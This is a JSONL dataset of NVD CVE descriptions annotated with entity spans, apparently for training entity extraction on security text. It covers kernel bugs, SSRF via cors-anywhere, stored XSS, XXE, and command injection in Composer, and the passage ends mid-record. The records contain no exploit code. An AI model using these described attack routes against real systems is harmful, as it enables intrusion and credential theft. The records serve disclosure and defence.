{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to avoid use-after-free in f2fs_stop_gc_thread()\n\nsyzbot reports a f2fs bug as below:\n\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x241/0x360 lib/dump_stack.c:114\n print_report+0xe8/0x550 mm/kasan/report.c:491\n kasan_report+0x143/0x180 mm/kasan/report.c:601\n kasan_check_range+0x282/0x290 mm/kasan/generic.c:189\n instrument_atomic_read_write include/linux/instrumented.h:96 [inline]\n atomic_fetch_add_relaxed include/linux/atomic/atomic-instrumented.h:252 [inline]\n __refcount_add include/linux/refcount.h:184 [inline]\n __refcount_inc include/linux/refcount.h:241 [inline]\n refcount_inc include/linux/refcount.h:258 [inline]\n get_task_struct include/linux/sched/task.h:118 [inline]\n kthread_stop+0xca/0x630 kernel/kthread.c:704\n f2fs_stop_gc_thread+0x65/0xb0 fs/f2fs/gc.c:210\n f2fs_do_shutdown+0x192/0x540 fs/f2fs/file.c:2283\n f2fs_ioc_shutdown fs/f2fs/file.c:2325 [inline]\n __f2fs_ioctl+0x443a/0xbe60 fs/f2fs/file.c:4325\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:907 [inline]\n __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:893\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nThe root cause is below race condition, it may cause use-after-free\nissue in sbi->gc_th pointer.\n\n- remount\n - f2fs_remount\n  - f2fs_stop_gc_thread\n   - kfree(gc_th)\n\t\t\t\t- f2fs_ioc_shutdown\n\t\t\t\t - f2fs_do_shutdown\n\t\t\t\t  - f2fs_stop_gc_thread\n\t\t\t\t   - kthread_stop(gc_th->f2fs_gc_task)\n   : sbi->gc_thread = NULL;\n\nWe will call f2fs_do_shutdown() in two paths:\n- for f2fs_ioc_shutdown() path, we should grab sb->s_umount semaphore\nfor fixing.\n- for f2fs_shutdown() path, it's safe since caller has already grabbed\nsb->s_umount semaphore.", "spans": {"FILEPATH: /kasan/report.c": [[285, 300], [333, 348]], "FILEPATH: /kasan/generic.c": [[386, 402]], "FILEPATH: /linux/instrumented.h": [[444, 465]], "FILEPATH: /linux/atomic/atomic-instrumented.h": [[511, 546]], "FILEPATH: /linux/refcount.h": [[583, 600], [637, 654], [689, 706]], "FILEPATH: /linux/sched/task.h": [[744, 763]], "FILEPATH: /f2fs/gc.c": [[856, 866]], "FILEPATH: /f2fs/file.c": [[903, 915], [942, 954], [999, 1011]], "FILEPATH: /x86/entry/common.c": [[1153, 1172], [1215, 1234]], "FILEPATH: dump_stack.c": [[184, 196], [241, 253]], "FILEPATH: kthread.c": [[809, 818]], "FILEPATH: ioctl.c": [[1031, 1038], [1070, 1077], [1121, 1128]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[88, 102], [1334, 1348]], "VULNERABILITY: race condition": [[1305, 1319]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47691"}}
{"text": "@koa/cors npm provides Cross-Origin Resource Sharing (CORS) for koa, a web framework for Node.js. Prior to version 5.0.0, the middleware operates in a way that if an allowed origin is not provided, it will return an `Access-Control-Allow-Origin` header with the value of the origin from the request. This behavior completely disables one of the most crucial elements of browsers - the Same Origin Policy (SOP), this could cause a very serious security threat to the users of this middleware. If such behavior is expected, for instance, when middleware is used exclusively for prototypes and not for production applications, it should be heavily emphasized in the documentation along with an indication of the risks associated with such behavior, as many users may not be aware of it. Version 5.0.0 fixes this vulnerability.", "spans": {"FILEPATH: Node.js": [[89, 96]], "ORGANIZATION: npm": [[10, 13]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-49803"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: ip_tunnel: Fix suspicious RCU usage warning in ip_tunnel_find()\n\nThe per-netns IP tunnel hash table is protected by the RTNL mutex and\nip_tunnel_find() is only called from the control path where the mutex is\ntaken.\n\nAdd a lockdep expression to hlist_for_each_entry_rcu() in\nip_tunnel_find() in order to validate that the mutex is held and to\nsilence the suspicious RCU usage warning [1].\n\n[1]\nWARNING: suspicious RCU usage\n6.12.0-rc3-custom-gd95d9a31aceb #139 Not tainted\n-----------------------------\nnet/ipv4/ip_tunnel.c:221 RCU-list traversed in non-reader section!!\n\nother info that might help us debug this:\n\nrcu_scheduler_active = 2, debug_locks = 1\n1 lock held by ip/362:\n #0: ffffffff86fc7cb0 (rtnl_mutex){+.+.}-{3:3}, at: rtnetlink_rcv_msg+0x377/0xf60\n\nstack backtrace:\nCPU: 12 UID: 0 PID: 362 Comm: ip Not tainted 6.12.0-rc3-custom-gd95d9a31aceb #139\nHardware name: Bochs Bochs, BIOS Bochs 01/01/2011\nCall Trace:\n <TASK>\n dump_stack_lvl+0xba/0x110\n lockdep_rcu_suspicious.cold+0x4f/0xd6\n ip_tunnel_find+0x435/0x4d0\n ip_tunnel_newlink+0x517/0x7a0\n ipgre_newlink+0x14c/0x170\n __rtnl_newlink+0x1173/0x19c0\n rtnl_newlink+0x6c/0xa0\n rtnetlink_rcv_msg+0x3cc/0xf60\n netlink_rcv_skb+0x171/0x450\n netlink_unicast+0x539/0x7f0\n netlink_sendmsg+0x8c1/0xd80\n ____sys_sendmsg+0x8f9/0xc20\n ___sys_sendmsg+0x197/0x1e0\n __sys_sendmsg+0x122/0x1f0\n do_syscall_64+0xbb/0x1d0\n entry_SYSCALL_64_after_hwframe+0x77/0x7f", "spans": {"FILEPATH: /ipv4/ip_tunnel.c": [[580, 597]], "FILEPATH: /01/2011": [[977, 985]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50304"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf, cpumap: Make sure kthread is running before map update returns\n\nThe following warning was reported when running stress-mode enabled\nxdp_redirect_cpu with some RT threads:\n\n  ------------[ cut here ]------------\n  WARNING: CPU: 4 PID: 65 at kernel/bpf/cpumap.c:135\n  CPU: 4 PID: 65 Comm: kworker/4:1 Not tainted 6.5.0-rc2+ #1\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996)\n  Workqueue: events cpu_map_kthread_stop\n  RIP: 0010:put_cpu_map_entry+0xda/0x220\n  ......\n  Call Trace:\n   <TASK>\n   ? show_regs+0x65/0x70\n   ? __warn+0xa5/0x240\n   ......\n   ? put_cpu_map_entry+0xda/0x220\n   cpu_map_kthread_stop+0x41/0x60\n   process_one_work+0x6b0/0xb80\n   worker_thread+0x96/0x720\n   kthread+0x1a5/0x1f0\n   ret_from_fork+0x3a/0x70\n   ret_from_fork_asm+0x1b/0x30\n   </TASK>\n\nThe root cause is the same as commit 436901649731 (\"bpf: cpumap: Fix memory\nleak in cpu_map_update_elem\"). The kthread is stopped prematurely by\nkthread_stop() in cpu_map_kthread_stop(), and kthread() doesn't call\ncpu_map_kthread_run() at all but XDP program has already queued some\nframes or skbs into ptr_ring. So when __cpu_map_ring_cleanup() checks\nthe ptr_ring, it will find it was not emptied and report a warning.\n\nAn alternative fix is to use __cpu_map_ring_cleanup() to drop these\npending frames or skbs when kthread_stop() returns -EINTR, but it may\nconfuse the user, because these frames or skbs have been handled\ncorrectly by XDP program. So instead of dropping these frames or skbs,\njust make sure the per-cpu kthread is running before\n__cpu_map_entry_alloc() returns.\n\nAfter apply the fix, the error handle for kthread_stop() will be\nunnecessary because it will always return 0, so just remove it.", "spans": {"FILEPATH: /bpf/cpumap.c": [[320, 333]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[416, 420]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53577"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bridge: fix vlan tunnel dst refcnt when egressing\n\nThe egress tunnel code uses dst_clone() and directly sets the result\nwhich is wrong because the entry might have 0 refcnt or be already deleted,\ncausing number of problems. It also triggers the WARN_ON() in dst_hold()[1]\nwhen a refcnt couldn't be taken. Fix it by using dst_hold_safe() and\nchecking if a reference was actually taken before setting the dst.\n\n[1] dmesg WARN_ON log and following refcnt errors\n WARNING: CPU: 5 PID: 38 at include/net/dst.h:230 br_handle_egress_vlan_tunnel+0x10b/0x134 [bridge]\n Modules linked in: 8021q garp mrp bridge stp llc bonding ipv6 virtio_net\n CPU: 5 PID: 38 Comm: ksoftirqd/5 Kdump: loaded Tainted: G        W         5.13.0-rc3+ #360\n Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-1.fc33 04/01/2014\n RIP: 0010:br_handle_egress_vlan_tunnel+0x10b/0x134 [bridge]\n Code: e8 85 bc 01 e1 45 84 f6 74 90 45 31 f6 85 db 48 c7 c7 a0 02 19 a0 41 0f 94 c6 31 c9 31 d2 44 89 f6 e8 64 bc 01 e1 85 db 75 02 <0f> 0b 31 c9 31 d2 44 89 f6 48 c7 c7 70 02 19 a0 e8 4b bc 01 e1 49\n RSP: 0018:ffff8881003d39e8 EFLAGS: 00010246\n RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000\n RDX: 0000000000000000 RSI: 0000000000000001 RDI: ffffffffa01902a0\n RBP: ffff8881040c6700 R08: 0000000000000000 R09: 0000000000000001\n R10: 2ce93d0054fe0d00 R11: 54fe0d00000e0000 R12: ffff888109515000\n R13: 0000000000000000 R14: 0000000000000001 R15: 0000000000000401\n FS:  0000000000000000(0000) GS:ffff88822bf40000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 00007f42ba70f030 CR3: 0000000109926000 CR4: 00000000000006e0\n Call Trace:\n  br_handle_vlan+0xbc/0xca [bridge]\n  __br_forward+0x23/0x164 [bridge]\n  deliver_clone+0x41/0x48 [bridge]\n  br_handle_frame_finish+0x36f/0x3aa [bridge]\n  ? skb_dst+0x2e/0x38 [bridge]\n  ? br_handle_ingress_vlan_tunnel+0x3e/0x1c8 [bridge]\n  ? br_handle_frame_finish+0x3aa/0x3aa [bridge]\n  br_handle_frame+0x2c3/0x377 [bridge]\n  ? __skb_pull+0x33/0x51\n  ? vlan_do_receive+0x4f/0x36a\n  ? br_handle_frame_finish+0x3aa/0x3aa [bridge]\n  __netif_receive_skb_core+0x539/0x7c6\n  ? __list_del_entry_valid+0x16e/0x1c2\n  __netif_receive_skb_list_core+0x6d/0xd6\n  netif_receive_skb_list_internal+0x1d9/0x1fa\n  gro_normal_list+0x22/0x3e\n  dev_gro_receive+0x55b/0x600\n  ? detach_buf_split+0x58/0x140\n  napi_gro_receive+0x94/0x12e\n  virtnet_poll+0x15d/0x315 [virtio_net]\n  __napi_poll+0x2c/0x1c9\n  net_rx_action+0xe6/0x1fb\n  __do_softirq+0x115/0x2d8\n  run_ksoftirqd+0x18/0x20\n  smpboot_thread_fn+0x183/0x19c\n  ? smpboot_unregister_percpu_thread+0x66/0x66\n  kthread+0x10a/0x10f\n  ? kthread_mod_delayed_work+0xb6/0xb6\n  ret_from_fork+0x22/0x30\n ---[ end trace 49f61b07f775fd2b ]---\n dst_release: dst:00000000c02d677a refcnt:-1\n dst_release underflow", "spans": {"FILEPATH: /net/dst.h": [[568, 578]], "FILEPATH: /01/2014": [[877, 885]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[816, 820]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47222"}}
{"text": "Rob -- W / cors-anywhere instances configured as an open proxy allow unauthenticated external users to induce the server to make HTTP requests to arbitrary targets (SSRF). Because the proxy forwards requests and headers, an attacker can reach internal-only endpoints and link-local metadata services, retrieve instance role credentials or other sensitive metadata, and interact with internal APIs and services that are not intended to be internet-facing. The vulnerability is exploitable by sending crafted requests to the proxy with the target resource encoded in the URL; many cors-anywhere deployments forward arbitrary methods and headers (including PUT), which can permit exploitation of IMDSv2 workflows as well as access to internal management APIs. Successful exploitation can result in theft of cloud credentials, unauthorized access to internal services, remote code execution or privilege escalation (depending on reachable backends), data exfiltration, and full compromise of cloud resources. Mitigation includes: restricting the proxy to trusted origins or authentication, whitelisting allowed target hosts, preventing access to link-local and internal IP ranges, removing support for unsafe HTTP methods/headers, enabling cloud provider mitigations, and deploying network-level protections.", "spans": {"VULNERABILITY: remote code execution": [[865, 886]], "VULNERABILITY: privilege escalation": [[890, 910]], "VULNERABILITY: SSRF": [[165, 169]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36851"}}
{"text": "The “WPO365 | LOGIN” WordPress plugin (up to and including version 15.3) by wpo365.com is vulnerable to a persistent Cross-Site Scripting (XSS) vulnerability (also known as Stored or Second-Order XSS). Persistent XSS vulnerabilities occur when the application stores and retrieves client supplied data without proper handling of dangerous content. This type of XSS vulnerability is exploited by submitting malicious script content to the application which is then retrieved and executed by other application users. The attacker could exploit this to conduct a range of attacks against users of the affected application such as session hijacking, account take over and accessing sensitive data. In this case, the XSS payload can be submitted by any anonymous user, the payload then renders and executes when a WordPress administrator authenticates and accesses the WordPress Dashboard. The injected payload can carry out actions on behalf of the administrator including adding other administrative users and changing application settings. This flaw could be exploited to ultimately provide full control of the affected system to the attacker.", "spans": {"DOMAIN: wpo365.com": [[76, 86]], "SYSTEM: WordPress": [[21, 30], [809, 818], [864, 873]], "VULNERABILITY: Cross-Site Scripting": [[117, 137]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-43409"}}
{"text": "Metabase is an open source business intelligence and embedded analytics tool. In Metabase Enterprise prior to versions 1.54.22, 1.55.22, 1.56.22, 1.57.16, 1.58.10, and 1.59.4, authenticated admins on Metabase Enterprise Edition can achieve Remote Code Execution (RCE) and Arbitrary File Read via the `POST /api/ee/serialization/import` endpoint. A crafted serialization archive injects an `INIT` property into the H2 JDBC spec, which can execute arbitrary SQL during a database sync. We confirmed this was possible on Metabase Cloud. This only affects Metabase Enterprise. Metabase OSS lacks the affected codepaths. All versions of Metabase Enterprise that have serialization, which dates back to at least version 1.47, are affected. Metabase Enterprise versions 1.54.22, 1.55.22, 1.56.22, 1.57.16, 1.58.10, and 1.59.4 patch the issue. As a workaround, disable the serialization import endpoint in their Metabase instance to prevent access to the vulnerable codepaths.", "spans": {"FILEPATH: /api/ee/serialization/import": [[306, 334]], "VULNERABILITY: Remote Code Execution": [[240, 261]], "VULNERABILITY: Arbitrary File Read": [[272, 291]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33725"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Hotspot).  Supported versions that are affected are Oracle Java SE: 8u481 and  8u481-b50; Oracle GraalVM Enterprise Edition: 21.3.17. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Java SE, Oracle GraalVM Enterprise Edition executes to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 6.0 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:H).", "spans": {"SYSTEM: Java": [[28, 32], [89, 93], [168, 172], [355, 359], [428, 432], [699, 703], [855, 859], [935, 939], [992, 996], [1033, 1037], [1138, 1142], [1202, 1206]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [82, 88], [161, 167], [199, 205], [348, 354], [364, 370], [421, 427], [437, 443], [692, 698], [708, 714], [848, 854], [864, 870]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-22003"}}
{"text": "A vulnerability in Juniper Networks SRX Series device configured as a Junos OS Enforcer device may allow a user to access network resources that are not permitted by a UAC policy. This issue might occur when the IP address range configured in the Infranet Controller (IC) is configured as an IP address range instead of an IP address/netmask. See the Workaround section for more detail. The Junos OS Enforcer CLI settings are disabled by default. This issue affects Juniper Networks Junos OS on SRX Series: 12.3X48 versions prior to 12.3X48-D100; 15.1X49 versions prior to 15.1X49-D210; 17.3 versions prior to 17.3R2-S5, 17.3R3-S8; 17.4 versions prior to 17.4R2-S9, 17.4R3-S1; 18.1 versions prior to 18.1R3-S10; 18.2 versions prior to 18.2R2-S7, 18.2R3-S3; 18.3 versions prior to 18.3R1-S7, 18.3R3-S2; 18.4 versions prior to 18.4R1-S6, 18.4R2-S4, 18.4R3-S1; 19.1 versions prior to 19.1R1-S4, 19.1R2-S1, 19.1R3; 19.2 versions prior to 19.2R1-S3, 19.2R2; 19.3 versions prior to 19.3R2-S1, 19.3R3; 19.4 versions prior to 19.4R1-S1, 19.4R2.", "spans": {"ORGANIZATION: Juniper": [[19, 26], [466, 473]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1637"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ni2c: npcm: disable interrupt enable bit before devm_request_irq\n\nThe customer reports that there is a soft lockup issue related to\nthe i2c driver. After checking, the i2c module was doing a tx transfer\nand the bmc machine reboots in the middle of the i2c transaction, the i2c\nmodule keeps the status without being reset.\n\nDue to such an i2c module status, the i2c irq handler keeps getting\ntriggered since the i2c irq handler is registered in the kernel booting\nprocess after the bmc machine is doing a warm rebooting.\nThe continuous triggering is stopped by the soft lockup watchdog timer.\n\nDisable the interrupt enable bit in the i2c module before calling\ndevm_request_irq to fix this issue since the i2c relative status bit\nis read-only.\n\nHere is the soft lockup log.\n[   28.176395] watchdog: BUG: soft lockup - CPU#0 stuck for 26s! [swapper/0:1]\n[   28.183351] Modules linked in:\n[   28.186407] CPU: 0 PID: 1 Comm: swapper/0 Not tainted 5.15.120-yocto-s-dirty-bbebc78 #1\n[   28.201174] pstate: 40000005 (nZcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[   28.208128] pc : __do_softirq+0xb0/0x368\n[   28.212055] lr : __do_softirq+0x70/0x368\n[   28.215972] sp : ffffff8035ebca00\n[   28.219278] x29: ffffff8035ebca00 x28: 0000000000000002 x27: ffffff80071a3780\n[   28.226412] x26: ffffffc008bdc000 x25: ffffffc008bcc640 x24: ffffffc008be50c0\n[   28.233546] x23: ffffffc00800200c x22: 0000000000000000 x21: 000000000000001b\n[   28.240679] x20: 0000000000000000 x19: ffffff80001c3200 x18: ffffffffffffffff\n[   28.247812] x17: ffffffc02d2e0000 x16: ffffff8035eb8b40 x15: 00001e8480000000\n[   28.254945] x14: 02c3647e37dbfcb6 x13: 02c364f2ab14200c x12: 0000000002c364f2\n[   28.262078] x11: 00000000fa83b2da x10: 000000000000b67e x9 : ffffffc008010250\n[   28.269211] x8 : 000000009d983d00 x7 : 7fffffffffffffff x6 : 0000036d74732434\n[   28.276344] x5 : 00ffffffffffffff x4 : 0000000000000015 x3 : 0000000000000198\n[   28.283476] x2 : ffffffc02d2e0000 x1 : 00000000000000e0 x0 : ffffffc008bdcb40\n[   28.290611] Call trace:\n[   28.293052]  __do_softirq+0xb0/0x368\n[   28.296625]  __irq_exit_rcu+0xe0/0x100\n[   28.300374]  irq_exit+0x14/0x20\n[   28.303513]  handle_domain_irq+0x68/0x90\n[   28.307440]  gic_handle_irq+0x78/0xb0\n[   28.311098]  call_on_irq_stack+0x20/0x38\n[   28.315019]  do_interrupt_handler+0x54/0x5c\n[   28.319199]  el1_interrupt+0x2c/0x4c\n[   28.322777]  el1h_64_irq_handler+0x14/0x20\n[   28.326872]  el1h_64_irq+0x74/0x78\n[   28.330269]  __setup_irq+0x454/0x780\n[   28.333841]  request_threaded_irq+0xd0/0x1b4\n[   28.338107]  devm_request_threaded_irq+0x84/0x100\n[   28.342809]  npcm_i2c_probe_bus+0x188/0x3d0\n[   28.346990]  platform_probe+0x6c/0xc4\n[   28.350653]  really_probe+0xcc/0x45c\n[   28.354227]  __driver_probe_device+0x8c/0x160\n[   28.358578]  driver_probe_device+0x44/0xe0\n[   28.362670]  __driver_attach+0x124/0x1d0\n[   28.366589]  bus_for_each_dev+0x7c/0xe0\n[   28.370426]  driver_attach+0x28/0x30\n[   28.373997]  bus_add_driver+0x124/0x240\n[   28.377830]  driver_register+0x7c/0x124\n[   28.381662]  __platform_driver_register+0x2c/0x34\n[   28.386362]  npcm_i2c_init+0x3c/0x5c\n[   28.389937]  do_one_initcall+0x74/0x230\n[   28.393768]  kernel_init_freeable+0x24c/0x2b4\n[   28.398126]  kernel_init+0x28/0x130\n[   28.401614]  ret_from_fork+0x10/0x20\n[   28.405189] Kernel panic - not syncing: softlockup: hung tasks\n[   28.411011] SMP: stopping secondary CPUs\n[   28.414933] Kernel Offset: disabled\n[   28.418412] CPU features: 0x00000000,00000802\n[   28.427644] Rebooting in 20 seconds..", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21878"}}
{"text": "This affects all versions of package uvicorn. The request logger provided by the package is vulnerable to ASNI escape sequence injection. Whenever any HTTP request is received, the default behaviour of uvicorn is to log its details to either the console or a log file. When attackers request crafted URLs with percent-encoded escape sequences, the logging component will log the URL after it's been processed with urllib.parse.unquote, therefore converting any percent-encoded characters into their single-character equivalent, which can have special meaning in terminal emulators. By requesting URLs with crafted paths, attackers can: * Pollute uvicorn's access logs, therefore jeopardising the integrity of such files. * Use ANSI sequence codes to attempt to interact with the terminal emulator that's displaying the logs (either in real time or from a file).", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-7694"}}
{"text": "GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. An arbitrary file renaming vulnerability exists in versions prior to 2.23.5 and 2.24.2 that enables an authenticated administrator with permissions to modify stores through the REST Coverage Store or Data Store API to rename arbitrary files and directories with a name that does not end in `.zip`. Store file uploads rename zip files to have a `.zip` extension if it doesn't already have one before unzipping the file.  This is fine for file and url upload methods where the files will be in a specific subdirectory of the data directory but, when using the external upload method, this allows arbitrary files and directories to be renamed. Renaming GeoServer files will most likely result in a denial of service, either completely preventing GeoServer from running or effectively deleting specific resources (such as a workspace, layer or style).  In some cases, renaming GeoServer files could revert to the default settings for that file which could be relatively harmless like removing contact information or have more serious consequences like allowing users to make OGC requests that the customized settings would have prevented them from making. The impact of renaming non-GeoServer files depends on the specific environment although some sort of denial of service is a likely outcome. Versions 2.23.5 and 2.24.2 contain a fix for this issue.", "spans": {"SYSTEM: Java": [[55, 59]], "VULNERABILITY: denial of service": [[808, 825], [1366, 1383]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-23634"}}
{"text": "Kirby is a content management system. A vulnerability in versions prior to 3.5.8.3, 3.6.6.3, 3.7.5.2, 3.8.4.1, and 3.9.6 only affects Kirby sites that use the `Xml` data handler (e.g. `Data::decode($string, 'xml')`) or the `Xml::parse()` method in site or plugin code. The Kirby core does not use any of the affected methods.\n\nXML External Entities (XXE) is a little used feature in the XML markup language that allows to include data from external files in an XML structure. If the name of the external file can be controlled by an attacker, this becomes a vulnerability that can be abused for various system impacts like the disclosure of internal or confidential data that is stored on the server (arbitrary file disclosure) or to perform network requests on behalf of the server (server-side request forgery, SSRF).\n\nKirby's `Xml::parse()` method used PHP's `LIBXML_NOENT` constant, which enabled the processing of XML external entities during the parsing operation. The `Xml::parse()` method is used in the `Xml` data handler (e.g. `Data::decode($string, 'xml')`). Both the vulnerable method and the data handler are not used in the Kirby core. However they may be used in site or plugin code, e.g. to parse RSS feeds or other XML files. If those files are of an external origin (e.g. uploaded by a user or retrieved from an external URL), attackers may be able to include an external entity in the XML file that will then be processed in the parsing process. Kirby sites that don't use XML parsing in site or plugin code are *not* affected.\n\nThe problem has been patched in Kirby 3.5.8.3, 3.6.6.3, 3.7.5.2, 3.8.4.1, and 3.9.6. In all of the mentioned releases, the maintainers have removed the `LIBXML_NOENT` constant as processing of external entities is out of scope of the parsing logic. This protects all uses of the method against the described vulnerability.", "spans": {"IP_ADDRESS: 3.5.8.3": [[75, 82], [1586, 1593]], "IP_ADDRESS: 3.6.6.3": [[84, 91], [1595, 1602]], "IP_ADDRESS: 3.7.5.2": [[93, 100], [1604, 1611]], "IP_ADDRESS: 3.8.4.1": [[102, 109], [1613, 1620]], "SYSTEM: PHP": [[856, 859]], "VULNERABILITY: server-side request forgery": [[784, 811]], "VULNERABILITY: SSRF": [[813, 817]], "VULNERABILITY: XXE": [[350, 353]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-38490"}}
{"text": "HVM soft-reset crashes toolstack libxl requires all data structures passed across its public interface to be initialized before use and disposed of afterwards by calling a specific set of functions. Many internal data structures also require this initialize / dispose discipline, but not all of them. When the \"soft reset\" feature was implemented, the libxl__domain_suspend_state structure didn't require any initialization or disposal. At some point later, an initialization function was introduced for the structure; but the \"soft reset\" path wasn't refactored to call the initialization function. When a guest nwo initiates a \"soft reboot\", uninitialized data structure leads to an assert() when later code finds the structure in an unexpected state. The effect of this is to crash the process monitoring the guest. How this affects the system depends on the structure of the toolstack. For xl, this will have no security-relevant effect: every VM has its own independent monitoring process, which contains no state. The domain in question will hang in a crashed state, but can be destroyed by `xl destroy` just like any other non-cooperating domain. For daemon-based toolstacks linked against libxl, such as libvirt, this will crash the toolstack, losing the state of any in-progress operations (localized DoS), and preventing further administrator operations unless the daemon is configured to restart automatically (system-wide DoS). If crashes \"leak\" resources, then repeated crashes could use up resources, also causing a system-wide DoS.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-28687"}}
{"text": "A vulnerability in the ingress packet processing function of Cisco IOS XR Software for Cisco ASR 9000 Series Aggregation Services Routers could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. The vulnerability is due to improper resource allocation when an affected device processes network traffic in software switching mode (punted). An attacker could exploit this vulnerability by sending specific streams of Layer 2 or Layer 3 protocol data units (PDUs) to an affected device. A successful exploit could cause the affected device to run out of buffer resources, which could make the device unable to process or forward traffic, resulting in a DoS condition. The device would need to be restarted to regain functionality.", "spans": {"SYSTEM: Cisco IOS": [[61, 70]], "ORGANIZATION: Cisco": [[87, 92]], "VULNERABILITY: denial of service": [[197, 214]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-26070"}}
{"text": "Composer is a dependency manager for PHP. Versions 1.0 through 2.2.26 and 2.3 through 2.9.5 contain a command injection vulnerability in the Perforce::generateP4Command() method, which constructs shell commands by interpolating user-supplied Perforce connection parameters (port, user, client) without proper escaping. An attacker can inject arbitrary commands through these values in a malicious composer.json declaring a Perforce VCS repository, leading to command execution in the context of the user running Composer, even if Perforce is not installed. VCS repositories are only loaded from the root composer.json or the composer config directory, so this cannot be exploited through composer.json files of packages installed as dependencies. Users are at risk if they run Composer commands on untrusted projects with attacker-supplied composer.json files. This issue has been fixed in Composer 2.2.27 (2.2 LTS) and 2.9.6 (mainline).", "spans": {"FILEPATH: composer.json": [[397, 410], [604, 617], [688, 701], [840, 853]], "SYSTEM: PHP": [[37, 40]], "VULNERABILITY: command injection": [[102, 119]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40176"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: linearize cloned gso packets in sctp_rcv\n\nA cloned head skb still shares these frag skbs in fraglist with the\noriginal head skb. It's not safe to access these frag skbs.\n\nsyzbot reported two use-of-uninitialized-memory bugs caused by this:\n\n  BUG: KMSAN: uninit-value in sctp_inq_pop+0x15b7/0x1920 net/sctp/inqueue.c:211\n   sctp_inq_pop+0x15b7/0x1920 net/sctp/inqueue.c:211\n   sctp_assoc_bh_rcv+0x1a7/0xc50 net/sctp/associola.c:998\n   sctp_inq_push+0x2ef/0x380 net/sctp/inqueue.c:88\n   sctp_backlog_rcv+0x397/0xdb0 net/sctp/input.c:331\n   sk_backlog_rcv+0x13b/0x420 include/net/sock.h:1122\n   __release_sock+0x1da/0x330 net/core/sock.c:3106\n   release_sock+0x6b/0x250 net/core/sock.c:3660\n   sctp_wait_for_connect+0x487/0x820 net/sctp/socket.c:9360\n   sctp_sendmsg_to_asoc+0x1ec1/0x1f00 net/sctp/socket.c:1885\n   sctp_sendmsg+0x32b9/0x4a80 net/sctp/socket.c:2031\n   inet_sendmsg+0x25a/0x280 net/ipv4/af_inet.c:851\n   sock_sendmsg_nosec net/socket.c:718 [inline]\n\nand\n\n  BUG: KMSAN: uninit-value in sctp_assoc_bh_rcv+0x34e/0xbc0 net/sctp/associola.c:987\n   sctp_assoc_bh_rcv+0x34e/0xbc0 net/sctp/associola.c:987\n   sctp_inq_push+0x2a3/0x350 net/sctp/inqueue.c:88\n   sctp_backlog_rcv+0x3c7/0xda0 net/sctp/input.c:331\n   sk_backlog_rcv+0x142/0x420 include/net/sock.h:1148\n   __release_sock+0x1d3/0x330 net/core/sock.c:3213\n   release_sock+0x6b/0x270 net/core/sock.c:3767\n   sctp_wait_for_connect+0x458/0x820 net/sctp/socket.c:9367\n   sctp_sendmsg_to_asoc+0x223a/0x2260 net/sctp/socket.c:1886\n   sctp_sendmsg+0x3910/0x49f0 net/sctp/socket.c:2032\n   inet_sendmsg+0x269/0x2a0 net/ipv4/af_inet.c:851\n   sock_sendmsg_nosec net/socket.c:712 [inline]\n\nThis patch fixes it by linearizing cloned gso packets in sctp_rcv().", "spans": {"FILEPATH: /sctp/inqueue.c": 